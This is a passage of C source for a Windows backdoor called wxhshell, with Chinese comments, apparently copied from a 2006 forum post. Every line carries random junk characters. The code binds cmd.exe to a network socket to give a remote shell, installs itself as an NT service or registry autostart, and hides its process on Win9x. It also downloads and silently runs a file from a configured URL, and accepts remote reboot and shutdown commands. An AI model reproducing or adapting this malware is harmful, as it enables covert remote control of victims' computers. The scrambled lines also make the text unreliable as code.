  else { sE-"TNONZ  
zF\k*B  
    switch(cmd[0]) { *gVRMSrx4  
  *hFT,1WE=+  
  // 帮助 83)2c a  
  case '?': { l,,5OZw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %J2u+K  
    break; Y7!,s-v4W  
  } Eh8.S)E  
  // 安装 g%[lUxL  
  case 'i': { ,#D &*  
    if(Install()) S(9fGh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); el-%#0  
    else `')3}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/)>\  
    break; OG!^:OY  
    } Sf lHSMFw  
  // 卸载 FW=oP>f]w  
  case 'r': { 8;Yx a8ie  
    if(Uninstall()) +<8r?d2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CbI[K|  
    else xNE<$Bz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A GS?<6W-  
    break; A2* z  
    } vKol@7%N  
  // 显示 wxhshell 所在路径 ndW? ?wiM  
  case 'p': { N\<M4 fn  
    char svExeFile[MAX_PATH]; V\X.AGc  
    strcpy(svExeFile,"\n\r"); 3QU<vdtr  
      strcat(svExeFile,ExeFile); K`PF|=z  
        send(wsh,svExeFile,strlen(svExeFile),0); |BF4 F5wC?  
    break; trtI^^/%  
    } r5tv9#4]  
  // 重启 q\[f$==p  
  case 'b': { f!0*^d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I tp7X  
    if(Boot(REBOOT)) ^hRos  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |f?tyQ  
    else { b2r@vZ]D  
    closesocket(wsh); L%U-MOS=  
    ExitThread(0); vX/~34o]\  
    } q %8,@xg  
    break; GC~Tfrf=r  
    } Jc(tV(z  
  // 关机 `=vL?w^QS  
  case 'd': { pRc@0^G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); lLS`Ln)"  
    if(Boot(SHUTDOWN)) d%u|) =7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!Wz7 C  
    else { ^MKvZ DOP  
    closesocket(wsh); rpQB# Pz  
    ExitThread(0); )&;?|X+p  
    } W;eHDQ|  
    break; w=e~ M  
    } m9a(f>C  
  // 获取shell al(t-3`<  
  case 's': { 1|q$Wn:*  
    CmdShell(wsh); 7=aF-;X3jj  
    closesocket(wsh); t+|c)"\5h  
    ExitThread(0);  (/-2bO  
    break; ggzg, ~V  
  } aP>%iRk'J!  
  // 退出 Pp*|EW 1  
  case 'x': { C;-9_;&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Y?{L:4cRX  
    CloseIt(wsh); %J5zfNe)&  
    break; %D)W~q-g  
    } 5<0&y3  
  // 离开 f-E]!\Pg  
  case 'q': { qfd/t<?|D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )}0(7z Yu  
    closesocket(wsh); mg;+Th &  
    WSACleanup(); RLu y;z  
    exit(1); rn"'tvhm  
    break; C4 H M  
        } }Dc0 Y  
  } Gc^w,n[E  
  } .z^ePZ|mV  
)hGRq'WA=  
  // 提示信息 K?+iu|$ &  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ghs{B8  
} F *_g3K!!  
  } y'?ksow  
Q=}p P*  
  return; :G=N|3  
} B[%FZm$`M  
$p#)xx7  
// shell模块句柄 v9QR,b` n  
int CmdShell(SOCKET sock) 4D=p#KZ  
{ vq-Tq>  
STARTUPINFO si; 56T<s+X>  
ZeroMemory(&si,sizeof(si)); L  #c*)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +F= j1*'&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xdGmiHN  
PROCESS_INFORMATION ProcessInfo; 3WZdP[o!  
char cmdline[]="cmd"; gVO<W.?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *8{PoD   
  return 0; `a2%U/U  
} 4iMo&E<  
*{5p/}p  
// 自身启动模式 In<L?U?([D  
int StartFromService(void) gmtp/?>e  
{ ^NwXvp>7-  
typedef struct Z.TYi~d/9D  
{ ye !}hm=w  
  DWORD ExitStatus; :$4 atm  
  DWORD PebBaseAddress; M*li;  
  DWORD AffinityMask; =8:m:Y&|`G  
  DWORD BasePriority; b{q-o <Q  
  ULONG UniqueProcessId; j:ze5FA+  
  ULONG InheritedFromUniqueProcessId; vcm66J.14  
}   PROCESS_BASIC_INFORMATION; I.#V/{J  
$ <'i+kK  
PROCNTQSIP NtQueryInformationProcess; |&!04~s;E  
>.'rN>B+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h r9rI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \[u7y. b  
<=D !/7$ O  
  HANDLE             hProcess; ?5@!r>i=<  
  PROCESS_BASIC_INFORMATION pbi; www#.D%'U  
Ne>yFl"u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {-?^j{O0.  
  if(NULL == hInst ) return 0; i~1bfl   
W\f u0^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); phkfPvL{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2L?jp:$;X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N_<wiwI<  
y8~/EyY|^  
  if (!NtQueryInformationProcess) return 0; &USKudXmb  
>|[ l?`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F<R+]M:fa  
  if(!hProcess) return 0; x$p_mWC  
~\ uI&S5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {k:W?`  
,dyCuH!B  
  CloseHandle(hProcess); ~%.<rc0  
VR:4|_o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uB&um*DP  
if(hProcess==NULL) return 0; 4o|-v  
W.67};',  
HMODULE hMod; YC,)t71l{  
char procName[255]; QV&yVH=Xs  
unsigned long cbNeeded; kx3?'=0;5  
4n}tDHvd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <.d^jgG(j  
MTyBG rs(  
  CloseHandle(hProcess); ph5rS<  
%t.L;G  
if(strstr(procName,"services")) return 1; // 以服务启动 108cf~2&  
j2dptM3t{  
  return 0; // 注册表启动 4 C7z6VWg  
} C~o\Q# *j  
3]z%C'  
// 主模块 tV'>9YVdG  
int StartWxhshell(LPSTR lpCmdLine)  -9f+O^x  
{ s2 8t'  
  SOCKET wsl; =eHoJq  
BOOL val=TRUE; WciL zx/  
  int port=0; _/\U  
  struct sockaddr_in door; !Au@\/}  
&xgKHbg  
  if(wscfg.ws_autoins) Install(); ].(l^W  
1Uy'TEk  
port=atoi(lpCmdLine); :"im2J  
#uc9eh}CWO  
if(port<=0) port=wscfg.ws_port; KFuP gp  
B)v|A  
  WSADATA data; WR<,[*Mv^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3<"!h1x5  
|qAU\m"Pc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &%=]lP]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8hZY Z /T  
  door.sin_family = AF_INET; e$t$,3~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S A\_U::T  
  door.sin_port = htons(port); ag* 5fBF  
R5b!Ao  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C" 2K U*  
closesocket(wsl); ?cvV~&$gc  
return 1; ~c\iBk  
} ZR[6-  
c|2+J :}p  
  if(listen(wsl,2) == INVALID_SOCKET) { %s;=H)8  
closesocket(wsl); >U9JbkeF  
return 1; q L-Ni  
} E=&":I6O  
  Wxhshell(wsl); \b6vu^;p  
  WSACleanup(); oa"_5kn,  
e&\+o}S  
return 0; yBYZ?gc  
Co^^rd@  
} S0]JeP+3!  
a)qlrtCl  
// 以NT服务方式启动 k )=Gyv<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zPyN2|iFah  
{ 0qSf7"3f  
DWORD   status = 0; @p 2XaqZ  
  DWORD   specificError = 0xfffffff; d cG)ql4d  
fpA%:V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T$&vk#qr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? \p,s-CR:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u+Sj#iZ  
  serviceStatus.dwWin32ExitCode     = 0; -E +LA  
  serviceStatus.dwServiceSpecificExitCode = 0; Dwa.ZY}-  
  serviceStatus.dwCheckPoint       = 0;  Uip-qWI  
  serviceStatus.dwWaitHint       = 0; mFx \[S  
3'xmq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1F]jy  
  if (hServiceStatusHandle==0) return; 0wpGIT!2  
557%^)v  
status = GetLastError(); y.,li<  
  if (status!=NO_ERROR) '&<saqA  
{ Dk#4^`qp1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3ahbv%y  
    serviceStatus.dwCheckPoint       = 0; l", X  
    serviceStatus.dwWaitHint       = 0; VxqoE]Dh  
    serviceStatus.dwWin32ExitCode     = status; 8o\KF(I  
    serviceStatus.dwServiceSpecificExitCode = specificError; B{2WvPX~q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $l/w.z  
    return; g..&x]aS(  
  } N@3&e;y  
|TQa=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Y5R|)x  
  serviceStatus.dwCheckPoint       = 0; {Z_?7J&z  
  serviceStatus.dwWaitHint       = 0; >)8<d3m  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); abtYa  
} z *~rd2  
['DYP-1J  
// 处理NT服务事件,比如:启动、停止 >goG\y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5fuYva >Ik  
{ Zd~Q@+sH  
switch(fdwControl) |TRl >1rv  
{ m.&"D> \t  
case SERVICE_CONTROL_STOP: :BVYS|%  
  serviceStatus.dwWin32ExitCode = 0; ofy)}/i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oA`G\Xh_E  
  serviceStatus.dwCheckPoint   = 0; }c ,:uN  
  serviceStatus.dwWaitHint     = 0; *zl-R*bM$  
  { Np>0c -S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0ra+MQBg  
  } K/|qn)  
  return; d'!abnF[d  
case SERVICE_CONTROL_PAUSE: JTdcL mL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }cd-BW  
  break; Wf>=^ ~`  
case SERVICE_CONTROL_CONTINUE: a @i?E0Fr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P.'$L\  
  break; }ZkGH}K_}  
case SERVICE_CONTROL_INTERROGATE: Ie'iAY  
  break; IIUTo  
}; KYC<*1k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 _|"+Ze  
} =fcRH:B:  
~NB lJULS  
// 标准应用程序主函数 c'uDK>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +W#["%kw  
{ 0wZAsG"Bg  
?7Skk  
// 获取操作系统版本 YnW,6U['{g  
OsIsNt=GetOsVer(); ]tc Cr;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {IT;g9x  
;`rz]7,*  
  // 从命令行安装 yYPFk  
  if(strpbrk(lpCmdLine,"iI")) Install(); FcmL 4^s.`  
;;<[_gp,E  
  // 下载执行文件 "= >8UR  
if(wscfg.ws_downexe) { 'OvyQ/T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dZ"d`M>o6  
  WinExec(wscfg.ws_filenam,SW_HIDE); V2BsvR`  
} RxXiSc`^z  
%lqrq<Xn  
if(!OsIsNt) { u#`'|ko \9  
// 如果时win9x,隐藏进程并且设置为注册表启动 aKk0kC   
HideProc(); QI{<q<  
StartWxhshell(lpCmdLine); S\W&{+3  
} X DAwE  
else GdtR  /1  
  if(StartFromService()) N3o kN8d  
  // 以服务方式启动 :B1a2Y^"  
  StartServiceCtrlDispatcher(DispatchTable); /*hS0xN*  
else /V f L(  
  // 普通方式启动 V(<(k,8=  
  StartWxhshell(lpCmdLine); T8\%+3e.  
9Lqo^+0)\  
return 0; kf2e-)uUs  
}
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只看该作者 1 发表于: 2006-10-10
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